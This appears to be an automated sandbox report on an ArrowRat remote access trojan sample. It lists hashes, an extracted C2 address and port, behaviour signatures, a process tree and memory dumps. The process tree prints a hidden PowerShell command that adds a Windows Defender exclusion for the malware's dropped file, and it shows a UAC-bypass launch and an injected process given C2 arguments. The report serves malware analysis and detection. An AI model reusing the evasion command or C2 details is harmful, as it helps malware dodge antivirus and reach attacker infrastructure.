Analysis

  • max time kernel
    135s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-05-2024 10:59

General

  • Target

    Client.exe

  • Size

    158KB

  • MD5

    d0a55dda2e691dbb7eedcd02cc7eaffa

  • SHA1

    37433d28c8f89e0f3b63e145d592e86e9da9b22f

  • SHA256

    0a53456ad2ce6a20c459e38a8fb0be2751c7543a0d8a47f52bb48a8b6d24d335

  • SHA512

    de5975c1c76799649b917b5e43c681ea2aff06813f43d363d4dc2ec8c99d33ba17026cb07a26931e6f637e26add9090be0eccc95f753f625461c75fe2b07327a

  • SSDEEP

    3072:wbzmH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPzdO8Y:wbzme0ODhTEPgnjuIJzo+PPcfPzQ8

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

26.137.109.175:1337

Mutex

pqjvqGUKv

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of FindShellTrayWindow 50 IoCs
  • Suspicious use of SendNotifyMessage 22 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4828
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Modifies Installed Components in the registry
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:216
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
      2⤵
        PID:4592
      • C:\Windows\System32\ComputerDefaults.exe
        "C:\Windows\System32\ComputerDefaults.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1432
        • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
          "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\yoRyHvHxC\qQDhvzMlM.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2816
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Suspicious use of SetWindowsHookEx
      PID:1572
    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4952

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133595531943756703.txt

      Filesize

      76KB

      MD5

      87ba547aaea80f265b80be9c674e498e

      SHA1

      1ae899ff23a4b277636566ccfbe45efcfd54aa19

      SHA256

      13bad36c5d5877a442398dae621f691c9cbfd064a4cc892bca2430067333434e

      SHA512

      6d46f9dd34d57ce1d145f7b489cb0aa94c7416f632f13e1c3bd1ff6f4608fe789e81109f64cd218d6ccdcafa9c100e2bca86a15c12d1592e6d6396c88986042d

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hdh44qkt.0nl.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/216-29-0x00000000030D0000-0x00000000030D1000-memory.dmp

      Filesize

      4KB

    • memory/2816-24-0x000002074AD90000-0x000002074ADB2000-memory.dmp

      Filesize

      136KB

    • memory/4592-2-0x0000000000400000-0x0000000000418000-memory.dmp

      Filesize

      96KB

    • memory/4592-5-0x00000000058E0000-0x000000000597C000-memory.dmp

      Filesize

      624KB

    • memory/4592-4-0x00000000057D0000-0x0000000005862000-memory.dmp

      Filesize

      584KB

    • memory/4592-6-0x0000000006160000-0x0000000006704000-memory.dmp

      Filesize

      5.6MB

    • memory/4592-7-0x0000000006020000-0x0000000006086000-memory.dmp

      Filesize

      408KB

    • memory/4592-10-0x0000000006A10000-0x0000000006A60000-memory.dmp

      Filesize

      320KB

    • memory/4828-13-0x00007FF8649C0000-0x00007FF865481000-memory.dmp

      Filesize

      10.8MB

    • memory/4828-0-0x000001EB15A60000-0x000001EB15A8E000-memory.dmp

      Filesize

      184KB

    • memory/4828-1-0x00007FF8649C3000-0x00007FF8649C5000-memory.dmp

      Filesize

      8KB

    • memory/4828-224-0x00007FF8649C0000-0x00007FF865481000-memory.dmp

      Filesize

      10.8MB

    • memory/4952-35-0x0000022C66E40000-0x0000022C66E60000-memory.dmp

      Filesize

      128KB

    • memory/4952-53-0x0000022C67210000-0x0000022C67230000-memory.dmp

      Filesize

      128KB

    • memory/4952-37-0x0000022C66E00000-0x0000022C66E20000-memory.dmp

      Filesize

      128KB